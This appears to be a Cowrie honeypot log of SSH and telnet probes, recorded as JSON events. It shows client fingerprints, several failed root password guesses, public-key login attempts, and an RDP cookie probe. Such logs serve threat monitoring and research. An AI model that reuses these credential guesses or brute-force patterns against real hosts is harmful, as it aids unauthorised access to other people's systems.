{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:19.873605Z","src_ip":"193.37.70.224","session":"43ab4260821a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:19.968638Z","src_ip":"193.37.70.224","session":"43ab4260821a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m","message":"login attempt [root/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:20.561489Z","src_ip":"193.37.70.224","session":"43ab4260821a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:21.667869Z","src_ip":"193.37.70.224","session":"43ab4260821a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41642,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dfcef6c724d","protocol":"ssh","message":"New connection: 103.15.222.183:41642 (10.17.0.5:22) [session: 5dfcef6c724d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:34.841341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:34.846540Z","src_ip":"103.15.222.183","session":"5dfcef6c724d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:35.099293Z","src_ip":"103.15.222.183","session":"5dfcef6c724d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":48626,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba549f9e475","protocol":"ssh","message":"New connection: 103.75.182.198:48626 (159.203.135.109:22) [session: 0ba549f9e475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:35.575636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:35.580372Z","src_ip":"103.75.182.198","session":"0ba549f9e475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:35.825892Z","src_ip":"103.75.182.198","session":"0ba549f9e475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1234","message":"login attempt [root/mama1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:35.857519Z","src_ip":"103.15.222.183","session":"5dfcef6c724d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050383","message":"login attempt [root/050383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:36.561507Z","src_ip":"103.75.182.198","session":"0ba549f9e475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:37.111745Z","src_ip":"103.15.222.183","session":"5dfcef6c724d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:37.812388Z","src_ip":"103.75.182.198","session":"0ba549f9e475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":30148,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4351b4020c1","protocol":"ssh","message":"New connection: 108.181.22.199:30148 (10.17.0.5:22) [session: d4351b4020c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:47.651220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:47.656065Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:47.727374Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:87:b7:44:f5:4a:98:60:03:d1:54:83:fd:1a:31:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfebNTVY5KD9wFtzE8gMHV82Kul1VjMBaEGOGds0dbGgvWiIUv5sklGOsFeu4VeH9kXMkBr/bzYS+ma5XMEtJl/dw0+jLwh6G8RXOGcguqDLcOGblMWGVHS+kzI6nqUUorZq7hbxsVqUIBnTDgMe7VoeBU5ciRRh+l3gIQLlMaCWSsLKBctj6ijnp/zi9Bnryrfxzd1GfFnHHMAvs7Xe56xMdhDBXdStUY/04Wjn9bhGxxpYFDhGAe3jniueqUPT3rb7deTVPy98Sk0oXlNJyqgstSZvIj2rDlhudFGMjHUleHtcY9uRsY9g2to7ICrwvd2hYy5LyJJWDlC0xrXrgD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:87:b7:44:f5:4a:98:60:03:d1:54:83:fd:1a:31:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.047315Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:87:b7:44:f5:4a:98:60:03:d1:54:83:fd:1a:31:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfebNTVY5KD9wFtzE8gMHV82Kul1VjMBaEGOGds0dbGgvWiIUv5sklGOsFeu4VeH9kXMkBr/bzYS+ma5XMEtJl/dw0+jLwh6G8RXOGcguqDLcOGblMWGVHS+kzI6nqUUorZq7hbxsVqUIBnTDgMe7VoeBU5ciRRh+l3gIQLlMaCWSsLKBctj6ijnp/zi9Bnryrfxzd1GfFnHHMAvs7Xe56xMdhDBXdStUY/04Wjn9bhGxxpYFDhGAe3jniueqUPT3rb7deTVPy98Sk0oXlNJyqgstSZvIj2rDlhudFGMjHUleHtcY9uRsY9g2to7ICrwvd2hYy5LyJJWDlC0xrXrgD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.051165Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:78:39:7d:ab:32:19:d8:6b:a8:c3:c5:41:ff:9a:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCQVCQvl5b+RPUO0d11E64z7iJfguOnKU3KeM9PlHbeh9mR+D87STiCMs0RQ6LS/rE8hPacdYIOCGYHAJvHn87s8y2gZ419xAHMIISfa7YKFTmj+TknlFQXJOYLgRJahZfRhsXKxOgero5VcNLOUWIXBedhTeOyrpRTIG49pQArJ3t3jdmMGYvpQlTyfRswDWEAmtztzzL+kOunZNnhyXpKrIFZyyruzd4w/gwzOj00FYfgrg+lV4pZV5hscsDrsGpxqRGZXnlGx1PqiF6qd/9Fdfh4YzGdYWGu7cDZqSdS5k2TexMf0FWN8vmyJAxAKmOsEZYfNM5f/N+tBzHfzycKZoM+eTA0ei1vcZBCaXl0aW3CBMYc0NMgsFAY53WyJ73GxCH799ynO+4+mj4FKQXgh+eQmrzsb4V8H5ZQFTB0r7za5lPHyweXkZDeMa16vbDI9dnyi5bO1Fmuzoy03+SrsPw6E2Fnpavakel5nbWyLFgpwsUYamAz7lUbd9Oon3OGVciGbUSSu0Y3yAVCiizhl+SDzNsyg4jvyWUocNfsEx5GdephGeYPgSMqMSQx2L5zTZZO9uqaOIhXwE1VJlN95LZs0GqDJ+a47PDMgavAAZF1jEgNaicTra+HvtfsTC430JvL4sKY+/sg4kSMgYUqtJ4rjnTSDYp0o7+UadMmGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:78:39:7d:ab:32:19:d8:6b:a8:c3:c5:41:ff:9a:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.120262Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:78:39:7d:ab:32:19:d8:6b:a8:c3:c5:41:ff:9a:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCQVCQvl5b+RPUO0d11E64z7iJfguOnKU3KeM9PlHbeh9mR+D87STiCMs0RQ6LS/rE8hPacdYIOCGYHAJvHn87s8y2gZ419xAHMIISfa7YKFTmj+TknlFQXJOYLgRJahZfRhsXKxOgero5VcNLOUWIXBedhTeOyrpRTIG49pQArJ3t3jdmMGYvpQlTyfRswDWEAmtztzzL+kOunZNnhyXpKrIFZyyruzd4w/gwzOj00FYfgrg+lV4pZV5hscsDrsGpxqRGZXnlGx1PqiF6qd/9Fdfh4YzGdYWGu7cDZqSdS5k2TexMf0FWN8vmyJAxAKmOsEZYfNM5f/N+tBzHfzycKZoM+eTA0ei1vcZBCaXl0aW3CBMYc0NMgsFAY53WyJ73GxCH799ynO+4+mj4FKQXgh+eQmrzsb4V8H5ZQFTB0r7za5lPHyweXkZDeMa16vbDI9dnyi5bO1Fmuzoy03+SrsPw6E2Fnpavakel5nbWyLFgpwsUYamAz7lUbd9Oon3OGVciGbUSSu0Y3yAVCiizhl+SDzNsyg4jvyWUocNfsEx5GdephGeYPgSMqMSQx2L5zTZZO9uqaOIhXwE1VJlN95LZs0GqDJ+a47PDMgavAAZF1jEgNaicTra+HvtfsTC430JvL4sKY+/sg4kSMgYUqtJ4rjnTSDYp0o7+UadMmGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.123996Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:bc:a7:12:aa:71:7e:fe:4d:a8:da:b5:96:4a:c3:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17BhBXrAytX/JFnfACvSLQuOW8vS0GY3LSFB6tYwpqM0NHb30sPKHQjkqH00G+Km2J1GH0VC6S7e36JOY8NPFGuALkUD5Iq5CYhZN46iXqoVMip3A8mR/v/uNpkS+k3yibPshI/rsjWxEsM9tN5KvzkHHhzgev+e7o/DcKCTIdsqpiuRozOG6tfuU/1JZdoX2ixbtWEA/7WxKe37GZ0ek42emxo1cTfKVLi4rZnC5yTeqPTzeeVvXR/Lfm0sl+p/y6Ew8/X3kZfKxAMrl0dktlLjzzCsdHFEoIh+uHDpqMsSrgwtPA0RrO4uvsF2wiAFVH3mKVvueXGCqPI+LCHyJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:bc:a7:12:aa:71:7e:fe:4d:a8:da:b5:96:4a:c3:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.191641Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:bc:a7:12:aa:71:7e:fe:4d:a8:da:b5:96:4a:c3:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17BhBXrAytX/JFnfACvSLQuOW8vS0GY3LSFB6tYwpqM0NHb30sPKHQjkqH00G+Km2J1GH0VC6S7e36JOY8NPFGuALkUD5Iq5CYhZN46iXqoVMip3A8mR/v/uNpkS+k3yibPshI/rsjWxEsM9tN5KvzkHHhzgev+e7o/DcKCTIdsqpiuRozOG6tfuU/1JZdoX2ixbtWEA/7WxKe37GZ0ek42emxo1cTfKVLi4rZnC5yTeqPTzeeVvXR/Lfm0sl+p/y6Ew8/X3kZfKxAMrl0dktlLjzzCsdHFEoIh+uHDpqMsSrgwtPA0RrO4uvsF2wiAFVH3mKVvueXGCqPI+LCHyJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.195292Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:40:36:fe:14:cc:ca:d6:30:48:cb:78:e3:ec:81:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz1cbCJ0E6b0SL0YmQYntaZKyiOMaJOHTsdO8F6ZnNZ2CYCEjncyVSAiShL/SexhAX9B7652vzPSg1t2ffz1PKDey7cSJtJJQAXM2LqJpmqKGWFxiNVC+v6pZmWe695ueFbblKdGbAyPUgaFCnvKuvky7aHiwxNfBJTZPX9SAEGjUY+NleKQYshYHIm1eDhk9aA+jDm/IPkxBKu5cORQ0eW94kaW8RR7WZ6XmnxblLJxLsyeFkywuT9C9NVA1N+IN4c7cpmcWoCnsFR/vHuIU55R1/B/g+PUBC0EsO5G6H2F4Vi+KLZtNBs8Vr7eb5DqR3FRTxff63TfJgtaJuVnWAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:40:36:fe:14:cc:ca:d6:30:48:cb:78:e3:ec:81:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.264766Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:40:36:fe:14:cc:ca:d6:30:48:cb:78:e3:ec:81:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz1cbCJ0E6b0SL0YmQYntaZKyiOMaJOHTsdO8F6ZnNZ2CYCEjncyVSAiShL/SexhAX9B7652vzPSg1t2ffz1PKDey7cSJtJJQAXM2LqJpmqKGWFxiNVC+v6pZmWe695ueFbblKdGbAyPUgaFCnvKuvky7aHiwxNfBJTZPX9SAEGjUY+NleKQYshYHIm1eDhk9aA+jDm/IPkxBKu5cORQ0eW94kaW8RR7WZ6XmnxblLJxLsyeFkywuT9C9NVA1N+IN4c7cpmcWoCnsFR/vHuIU55R1/B/g+PUBC0EsO5G6H2F4Vi+KLZtNBs8Vr7eb5DqR3FRTxff63TfJgtaJuVnWAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.268392Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:ba:85:70:36:d4:cd:5c:67:0d:91:b6:3e:71:d5:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPlZNWxLv3dHWhMhiQrbHIZK+E2Wdv4OvwWYvg0ep3L2DXWZO8v2o0ZCX7ee6o8/UgKDHNlfRtzyKx2EpKDiQtl+4RrMs6xiQpYAlRC5XcRZUubDoXQNhNoHUMc1apK1eU62xzZpnFuGxTBpcnXdUVzK+1modK7Z2peLvNPyQuQPXcIkFXdUNLon046A1uFR+Yc6XuA1Z9VgVVi+/Q5Vi5SdTnAJMuU2FhdwPUtagQWgKKjrGN8T5RzWb9mNnFCARmP58RCbfO9y11zffmVTIDjG4iYMgOLWiUQzirp6WrBej65YJat1gbP4CxhU6gl9FhRst4kaSNZq7GRjnKliDFJnDMKkqvaI+41ryFp+FFigSns6uzh2PoJGF+H6DKJT7g2fnQBOz61cTfmFfQ/Qs/4apeNwEmDvKNPHwcxAaS1QJiA6iSA0PzQsYBZobaA5Cf8Sq3pw9hY3n/Dqf6YMJ8xI2YUM06ip/0BRlfRZsXGs9S2bEZ6uJFAt/zloZlj7Q2kxt3ZQdai3ofOJ78G64gmeIiaoe9FmK1wdoA0DCOKVLJ3tUT1RBPADYIFfWMVE0yQGXK0IBa4zHyhf90mePBG+NY+x+gxdY9zFl3oyl2NOw39/O9ls6UodxntDbaDNIk0wH2TCoh5W4dLtyXiYBN8sOtqdT+gFvzj7tZxGQUQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:ba:85:70:36:d4:cd:5c:67:0d:91:b6:3e:71:d5:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.338784Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:ba:85:70:36:d4:cd:5c:67:0d:91:b6:3e:71:d5:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPlZNWxLv3dHWhMhiQrbHIZK+E2Wdv4OvwWYvg0ep3L2DXWZO8v2o0ZCX7ee6o8/UgKDHNlfRtzyKx2EpKDiQtl+4RrMs6xiQpYAlRC5XcRZUubDoXQNhNoHUMc1apK1eU62xzZpnFuGxTBpcnXdUVzK+1modK7Z2peLvNPyQuQPXcIkFXdUNLon046A1uFR+Yc6XuA1Z9VgVVi+/Q5Vi5SdTnAJMuU2FhdwPUtagQWgKKjrGN8T5RzWb9mNnFCARmP58RCbfO9y11zffmVTIDjG4iYMgOLWiUQzirp6WrBej65YJat1gbP4CxhU6gl9FhRst4kaSNZq7GRjnKliDFJnDMKkqvaI+41ryFp+FFigSns6uzh2PoJGF+H6DKJT7g2fnQBOz61cTfmFfQ/Qs/4apeNwEmDvKNPHwcxAaS1QJiA6iSA0PzQsYBZobaA5Cf8Sq3pw9hY3n/Dqf6YMJ8xI2YUM06ip/0BRlfRZsXGs9S2bEZ6uJFAt/zloZlj7Q2kxt3ZQdai3ofOJ78G64gmeIiaoe9FmK1wdoA0DCOKVLJ3tUT1RBPADYIFfWMVE0yQGXK0IBa4zHyhf90mePBG+NY+x+gxdY9zFl3oyl2NOw39/O9ls6UodxntDbaDNIk0wH2TCoh5W4dLtyXiYBN8sOtqdT+gFvzj7tZxGQUQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.342528Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:48.412929Z","src_ip":"108.181.22.199","session":"d4351b4020c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.50155782699585,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:52.331696Z","src_ip":"192.119.13.58","session":"04d7c74bc32d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55282,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dff4d1194ed","protocol":"ssh","message":"New connection: 167.172.81.52:55282 (159.203.135.109:22) [session: 2dff4d1194ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:59.655821Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:06:59.660643Z","src_ip":"167.172.81.52","session":"2dff4d1194ed","protocol":"ssh"}
